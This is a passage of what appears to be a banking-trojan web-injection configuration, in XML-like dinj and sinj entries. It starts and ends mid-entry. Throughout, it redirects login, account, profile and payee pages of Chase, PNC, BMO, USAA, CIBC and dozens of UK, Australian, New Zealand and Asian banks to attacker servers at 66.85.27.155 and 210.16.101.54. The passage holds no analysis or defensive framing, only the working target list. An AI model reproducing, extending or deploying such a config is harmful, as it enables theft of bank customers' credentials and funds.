<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/checking*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/savings*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/private-client*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/commercial-bank*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/home-equity*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://chaseonline.chase.com/Logon.aspx*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/student-loans*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/investments*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/credit-cards*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/content/chasecom/en/credit-cards/rtbl/verify-credit-card</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/resources*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/espanol*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/auto-loans*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/online/Credit-Cards/disney.htm</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/business-banking*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/personal-banking*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://chaseonline.chase.com/</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/online/private_client*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/business</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/personal/home-lending/mortgage</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/personal/checking</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.chase.com/personal/private-client/sign-in</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://servicing.chase.com/reo/profile/LogOn</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure*.chase.com/web/auth/logonbox*</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://mfasa.chase.com/auth/alogin.jsp</lm>
<hl>http://66.85.27.155:443/login/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://chaseonline.chase.com/MyAccounts.aspx</lm>
<hl>http://66.85.27.155:443/account/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://secure*.chase.com/web/auth/dashboard</lm>
<hl>http://66.85.27.155:443/account/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://chaseonline.chase.com/secure/Profile/UpdateContactInfo/UpdateContact.aspx</lm>
<hl>http://66.85.27.155:443/info/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://chaseonline.chase.com/gw/secure/ena</lm>
<hl>http://66.85.27.155:443/info/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://*.chase.com/svc/rr/accounts/secure/v1/account/activity/dda/list</lm>
<hl>http://66.85.27.155:443/info/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://*.chase.com/svc/
rr/profile/secure/v1/phone/profile/list</lm>
<hl>http://66.85.27.155:443/info/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://*.chase.com/svc/rr/profile/secure/v1/address/profile/list</lm>
<hl>http://66.85.27.155:443/info/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://*.chase.com/svc/rr/payments/secure/v1/payee/list</lm>
<hl>http://66.85.27.155:443/info/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://*.chase.com/svc/rr/profile/secure/v1/email/profile/list</lm>
<hl>http://66.85.27.155:443/info/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://*.chase.com/svc/rr/accounts/secure/v2/account/detail/dda/list</lm>
<hl>http://66.85.27.155:443/info/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://payments.chase.com/PnT/Transfer/Activity/Index</lm>
<hl>http://66.85.27.155:443/info/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://*.chase.com/svc/rr/profile/secure/v1/overview/list</lm>
<hl>http://66.85.27.155:443/info/1</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/273</lm>
<hl>http://66.85.27.155:443/rcrd/273</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/273*</lm>
<hl>http://66.85.27.155:443/getq/273</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/273</lm>
<hl>http://66.85.27.155:443/snapshoot/273</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.onlinebanking.pnc.com/alservlet/SignonInitServlet*</lm>
<hl>http://66.85.27.155:443/login/273</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.onlinebanking.pnc.com/alservlet/LogoutServlet*</lm>
<hl>http://66.85.27.155:443/login/273</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.pnc.com/en/personal-banking/banking/online-and-mobile-banking.html</lm>
<hl>http://66.85.27.155:443/login/273</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.pnc.com/en/personal-banking.html</lm>
<hl>http://66.85.27.155:443/login/273</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.onlinebanking.pnc.com/alservlet/MyAccountsServlet</lm>
<hl>http://66.85.27.155:443/account/273</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.onlinebanking.pnc.com/alservlet/PersonalInformationServlet</lm>
<hl>http://66.85.27.155:443/info/273</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/209</lm>
<hl>http://66.85.27.155:443/rcrd/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/209*</lm>
<hl>http://66.85.27.155:443/getq/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/209</lm>
<hl>http://66.85.27.155:443/snapshoot/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www?.bmo.com/onlinebanking/cgi-bin/netbnx/NBmain*</lm>
<hl>http://66.85.27.155:443/login/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www??.bmo.com/onlinebanking/cgi-bin/netbnx/NBmain*</lm>
<hl>http://66.85.27.155:443/login/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www??.bmo.com/onlinebanking/cgi-bin/netbnx/NBmain/SubmitSignOn*</lm>
<hl>http://66.85.27.155:443/login/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www?.bmo.com/onlinebanking/cgi-bin/netbnx/NBmain/SubmitSignOn*</lm>
<hl>http://66.85.27.155:443/login/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www??.bmo.com/onlinebanking/OLB?id=*</lm>
<hl>http://66.85.27.155:443/account/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www?.bmo.com/onlinebanking/OLB?id=*</lm>
<hl>http://66.85.27.155:443/account/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www??.bmo.com/onlinebanking/OLB/fin*</lm>
<hl>http://66.85.27.155:443/account/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www?.bmo.com/onlinebanking/OLB/fin*</lm>
<hl>http://66.85.27.155:443/account/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www??.bmo.com/onlinebanking/OLB/tra/acc/vph/billerHistoryInit*</lm>
<hl>http://66.85.27.155:443/info/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www?.bmo.com/onlinebanking/OLB/tra/acc/vph/billerHistoryInit*</lm>
<hl>http://66.85.27.155:443/info/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www?.bmo.com/onlinebanking/OLB/tra/acc/vsh/billerSessionHistory*</lm>
<hl>http://66.85.27.155:443/info/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www??.bmo.com/onlinebanking/OLB/tra/acc/vsh/billerSessionHistory*</lm>
<hl>http://66.85.27.155:443/info/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www?.bmo.com/onlinebanking/OLB/ppr/mss*</lm>
<hl>http://66.85.27.155:443/info/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www??.bmo.com/onlinebanking/OLB/ppr/mss*</lm>
<hl>http://66.85.27.155:443/info/209</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/276</lm>
<hl>http://66.85.27.155:443/rcrd/276</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/276*</lm>
<hl>http://66.85.27.155:443/getq/276</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/276</lm>
<hl>http://66.85.27.155:443/snapshoot/276</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.usaa.com/[?]*</lm>
<hl>http://66.85.27.155:443/login/276</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.usaa.com/inet/ent_logon/Logon*</lm>
<hl>http://66.85.27.155:443/login/276</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.usaa.com/inet/pages/security_take_steps_protect_logon*</lm>
<hl>http://66.85.27.155:443/login/276</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.usaa.com/inet/ent_auth_pin/page/PinEntryPage*</lm>
<hl>http://66.85.27.155:443/login/276</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.usaa.com/inet/ent_auth_secques/answer*</lm>
<hl>http://66.85.27.155:443/login/276</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.usaa.com/inet/ent_home/CpHome*</lm>
<hl>http://66.85.27.155:443/account/276</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/275</lm>
<hl>http://66.85.27.155:443/rcrd/275</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/275*</lm>
<hl>http://66.85.27.155:443/getq/275</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/275</lm>
<hl>http://66.85.27.155:443/snapshoot/275</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.efirstbank.com/internet-banking/log-in-sign-up.htm</lm>
<hl>http://66.85.27.155:443/login/275</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.efirstbank.com/centralAuth/jsp/main/Logon.faces*</lm>
<hl>http://66.85.27.155:443/login/275</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.efirstbank.com/centralAuth/jsp/main/LogonCollectDevice.faces</lm>
<hl>http://66.85.27.155:443/login/275</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.efirstbank.com/centralAuth/jsp/securityQuestions/SecurityQuestionChallenge.faces</lm>
<hl>http://66.85.27.155:443/login/275</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.efirstbank.com/</lm>
<hl>http://66.85.27.155:443/login/275</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>
<igroup>
<dinj>
<lm>*/rcrd/280</lm>
<hl>http://66.85.27.155:443/rcrd/280</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/getq/280*</lm>
<hl>http://66.85.27.155:443/getq/280</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>*/snapshoot/280</lm>
<hl>http://66.85.27.155:443/snapshoot/280</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.cibconline.cibc.com/ebm-resources/public/banking/cibc/client/web/index.html*</lm>
<hl>http://66.85.27.155:443/login/280</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.cibc.com/en/personal-banking.html</lm>
<hl>http://66.85.27.155:443/login/280</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.cibconline.cibc.com/ebm-resource
s/public/banking/cibc/client/web/index.html</lm>
<hl>http://66.85.27.155:443/account/280</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.cibconline.cibc.com/ebm-ai/api/v2/json/accounts</lm>
<hl>http://66.85.27.155:443/info/280</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
<dinj>
<lm>http://www.cibconline.cibc.com/ebm-anp/api/v1/profile/json/userProfiles</lm>
<hl>http://66.85.27.155:443/info/280</hl>
<pri>100</pri>
<sq>2</sq>
</dinj>
</igroup>

<slist>
<sinj>
<mm>http://www.bankline.natwest.com*</mm>
<sm>http://www.bankline.natwest.com/CWSLogon/logon.do*</sm>
<nh>ccsarewkpsmofyibdhqcgvnltzxj.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.bankline.rbs.com*</mm>
<sm>http://www.bankline.rbs.com/CWSLogon/logon.do*</sm>
<nh>cdsarpwtfdxysnmgejvzbicolqku.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.business.hsbc.co.uk*</mm>
<sm>http://www.business.hsbc.co.uk*</sm>
<nh>crsavugwrictqdmkhxnjfzlsyeoa.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.nwolb.com*</mm>
<sm>http://www.nwolb.com/default.aspx*</sm>
<nh>cqsauvfqrkchbptxelozmsdyainj.net</nh>
<url404>*/ServiceManagement/GenericErrorPageNoMenu.aspx?ErrorPage=PNF*</url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www6.rbc.com*</mm>
<sm>http://www6.rbc.com/webapp/ukv0/signin/logon.xhtml*</sm>
<nh>chsaryoxijedlfktmvupsbqzcwgh.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.rbsdigital.com*</mm>
<sm>http://www.rbsdigital.com/default.aspx*</sm>
<nh>cksadrwyqvgokpitzunjhfslamex.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://lloydslink.online.lloydsbank.com*</mm>
<sm>http://lloydslink.online.lloydsbank.com/Logon*</sm>
<nh>dcsadhevyqfzwmcnsiobtpjkalrg.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ulsterbankanytimebanking.ie*</mm>
<sm>http://www.ulsterbankanytimebanking.ie/default.aspx*</sm>
<nh>ddsamcpfbxhavswtquzjgiykelnd.net</nh>
<url404>/ServiceManagement/GenericErrorPageNoMenu.aspx?ErrorPage=PNF</url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://banking.bankofscotland.co.uk*</mm>
<sm>http://banking.bankofscotland.co.uk/Logon*</sm>
<nh>dbsajondmzrvtqkflybcseipuawg.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://businessbanking*.tdcommercialbanking.com*</mm>
<sm>http://businessbanking*.tdcommercialbanking.com/WBB/Login*</sm>
<nh>basabroxpcnqfdteyhazwlgmvsji.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://online-business.bankofscotland.co.uk*</mm>
<sm>http://online-business.bankofscotland.co.uk/business*</sm>
<nh>bcsaqnrhsiztfouvcdmpklwabgje.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://transtasman.online.anz.com*</mm>
<sm>http://transtasman.online.anz.com/client*</sm>
<nh>rqsccqwzhiksmjuefrlxptbogvyd.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.anzdirect.co.nz*</mm>
<sm>http://www.anzdirect.co.nz/online/EnterANZDirect.do*</sm>
<nh>rhscjefivzbwxdprlhksnmoqcgay.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://online.coutts.com*</mm>
<sm>http://online.coutts.com/eBankingCouttsLogin/login*</sm>
<nh>qasaswzlpmdufjxevhociqngybrt.net</nh>
<url404>*/error_path/404.html*</url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://business.co-operativebank.co.uk*</mm>
<sm>http://business.co-operativebank.co.uk/corp/*</sm>
<nh>qcsavktmfwlsohxunbzdcerpgaqi.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://fdonline.co-operativebank.co.uk*</mm>
<sm>http://fdonline.co-operativebank.co.uk/corp*</sm>
<nh>hbsabvronpckthldjquyaigsfmez.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://corporate.metrobankonline.co.uk*</mm>
<sm>http://corporate.metrobankonline.co.uk/servlet/BrowserServlet*</sm>
<nh>bosaxblkqnivecuwaygptrzfmshd.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www2?.bmo.com*</mm>
<sm>http://www2?.bmo.com/ctpauth/CTPEAILogin/CustUserPasswordAuthServlet?TAM_OP=login*</sm>
<nh>bosdhymixgdkzqrabfctswelopvj.org</nh>
<url404>http://www2?.bmo.com/ctpauth/CTPEAILogin/CustUserPasswordAuthServlet?TAM_OP=login?ERROR_CODE=0x00000000*</url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.onlinebanking.iombank.com*</mm>
<sm>http://www.onlinebanking.iombank.com/default.aspx*</sm>
<nh>kdsawblqdhtngzmuksyiaxjefcro.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://bank.barclays.co.uk*</mm>
<sm>http://bank.barclays.co.uk/olb/auth/LoginLink.action*</sm>
<nh>kbsavjthsyofzqnpburdxgciweam.net</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://corporate.santander.co.uk*</mm>
<sm>http://corporate.santander.co.uk/LOGSCU_NS_ENS*</sm>
<nh>obsamphtznlewckfbauqgvsrodxy.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://onlinebanking.bankleumi.co.uk*</mm>
<sm>http://onlinebanking.bankleumi.co.uk/corp/AuthenticationController*</sm>
<nh>ohsafuhqyevzbcxsgjpmtdniwkrl.com</nh>
<url404>/my.policy</url404>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://onlinebusiness.lloydsbank.co.uk*</mm>
<sm>http://onlinebusiness.lloydsbank.co.uk/business*</sm>
<nh>absadbagplqcmskyjntuewxhzvfo.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://s2b.standardchartered.com*</mm>
<sm>http://s2b.standardchartered.com/ssoapp/login.jsp*</sm>
<nh>rdsamhxbjqfidyonavurlgtzwkes.com</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://cmo.cibc.com*</mm>
<sm>http://cmo.cibc.com*</sm>
<nh>cdsaskoevwfubrtjgyqmnizcalhx.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.anztransactive.anz.com*</mm>
<sm>http://www.anztransactive.anz.com/*</sm>
<nh>rcsamanqryvkdfjoblezxtiwsuhc.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://bbonline.banksa.com.au*</mm>
<sm>http://bbonline.banksa.com.au/html/cbank.asp*</sm>
<nh>rrsalxeyfboznkgajwvspmturqdh.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ibs.bankwest.com.au*</mm>
<sm>http://ibs.bankwest.com.au/BWLogin/rib.aspx*</sm>
<nh>rqsaceayxbnfhvuqdswplmkzjtoi.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://netteller2.tsw.com.au*</mm>
<sm>http://netteller2.tsw.com.au/delphi/ntv451.asp*</sm>
<nh>rhsaevfyuirhsbnzakxpdtlmocgq.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://businessonline.westpac.com.au*</mm>
<sm>http://businessonline.westpac.com.au/esis/Login/SrvPage*</sm>
<nh>rssamvybridtxocunwpaqlhzgefs.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://online.corp.westpac.com.au*</mm>
<sm>http://online.corp.westpac.com.au/*</sm>
<nh>rksalhodzprnvuqxsfgmkyeictja.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www?.my.commbiz.commbank.com.au*</mm>
<sm>http://www?.my.commbiz.commbank.com.au/Logon/UserMaintenance/Login.aspx*</sm>
<nh>qosaxuavegqkomtyndjzcbplhisw.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://bbonline.bankofmelbourne.com.au*</mm>
<sm>http://bbonline.bankofmelbourne.com.au/html/login.aspx*</sm>
<nh>qasasidoqpfhrgwykvanutzxcelj.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://banking.lloydsbank.com*</mm>
<sm>http://banking.lloydsbank.com/Logon*</sm>
<nh>qrsacdptvluyojmafikzrxwhgbqn.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://bank.ruralbank.com.au*</mm>
<sm>http://bank.ruralbank.com.au/banking/RBLIBanking*</sm>
<nh>qhsarqofnjsehzibcgvxmykapwul.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://nabconnect*.nab.com.au*</mm>
<sm>http://nabconnect*.nab.com.au/auth/nabclogin/login.do*</sm>
<nh>qksaiwgxsdkcmtqrhynvbopzaejf.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ib.tmbank.com.au*</mm>
<sm>http://ib.tmbank.com.au/ib/signon/Login.aspx*</sm>
<nh>hosajempfozwnqlxgcbrdthivuas.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://digital.defencebank.com.au*</mm>
<sm>http://digital.defencebank.com.au*</sm>
<nh>hbsajlhrugctfpyavoqmwnbedkzi.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://velocity.ocbc.com*</mm>
<sm>http://velocity.ocbc.com/portal.view*</sm>
<nh>hksazewovfilhjutxcmdybsqkang.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://uniservices2.uobgroup.com*</mm>
<sm>http://uniservices2.uobgroup.com/ELO/login.jsp*</sm>
<nh>sosanehiqtckfxzrdjglsomvubay.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://sg.bibplus.uobgroup.com*</mm>
<sm>http://sg.bibplus.u
obgroup.com/BIB/public*</sm>
<nh>sasapmltbehfsxaurkqovyncjdig.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://bbonline.stgeorge.com.au*</mm>
<sm>http://bbonline.stgeorge.com.au/html/cbank.asp*</sm>
<nh>scsaakcsqherwupxmynzvilogdjf.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://internetbanking.suncorpbank.com.au*</mm>
<sm>http://internetbanking.suncorpbank.com.au/*</sm>
<nh>sdsaagqdfycwlunxbptzmhieovjr.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://inetbnkp.adelaidebank.com.au*</mm>
<sm>http://inetbnkp.adelaidebank.com.au/OnlineBanking/AdBank*</sm>
<nh>sbsadxrnafyvkwmzegupqbthcloj.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.bnz.co.nz*</mm>
<sm>http://www.bnz.co.nz/business-banking*</sm>
<nh>sqsaajsnkumyicvohbefrgptqzlw.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://bol.westpac.co.nz*</mm>
<sm>http://bol.westpac.co.nz/s1gcb/logon/sbuser*</sm>
<nh>shsaquzbynxajdtolkpchvgrwief.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.ib.kiwibank.co.nz*</mm>
<sm>http://www.ib.kiwibank.co.nz/*</sm>
<nh>sssactnizdrkuhlwsaemovpfbyjq.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.flexipurchase.com*</mm>
<sm>http://www.flexipurchase.com/secure/welcome.asp*</sm>
<nh>sksauntdcxmliwfgqeaphkjozrvb.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure1.rabodirect.co.nz*</mm>
<sm>http://secure1.rabodirect.co.nz/exp/policyenforcer/pages/loginB2CDGPEN.jsf*</sm>
<nh>kasaxiqnwcfjpzlvgdabsohertuy.org</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.hsbc.com.sg*</mm>
<sm>http://www.hsbc.com.sg/1/2/!ut/p/c5/04_SB8K8xLLM9MSSzPy8xBz9CP0os3gDf6NAZ8tQU3c3A0dDV5MAf2MTAwjQL8h2VAQAdKy3eg!!/*</sm>
<nh>basafvzuylmqpsawdnejxcgiobrt.inf</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://ideal.dbs.com*</mm>
<sm>http://ideal.dbs.com/loginSubscriber/login/pin.jsp*</sm>
<nh>obsagaqtpniyjcfdslmvzrxwuhbe.inf</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://internet-banking.dbs.com.sg*</mm>
<sm>http://internet-banking.dbs.com.sg/IB/Welcome*</sm>
<nh>orsafdjtiokynescavghubrwqlmp.inf</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.asb.co.nz*</mm>
<sm>http://www.asb.co.nz/*</sm>
<nh>bcsatqhwnuklocygxbzdrfjempsi.inf</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://cib.icicibank.com*</mm>
<sm>http://cib.icicibank.com/corp/BANKAWAY*</sm>
<nh>bdsajewpsqgvkiorcylnhadzbxum.inf</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://secure.heartland.co.nz*</mm>
<sm>http://secure.heartland.co.nz/IB/index.zul*</sm>
<nh>assaajeiwlytsmvzbhfqpodkucrx.inf</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.bendigobank.com.au*</mm>
<sm>http://www.bendigobank.com.au/banking/BBLIBanking*</sm>
<nh>cosahszevkjwilqnmfaypotxugbc.inf</nh>
<srv>210.16.101.54:443</srv>
</sinj>
<sinj>
<mm>http://www.hsbc.com.au*</mm>
<sm>http://www.hsbc.com.au/1/2/HUB_IDV2/IDV_EPP*</sm>
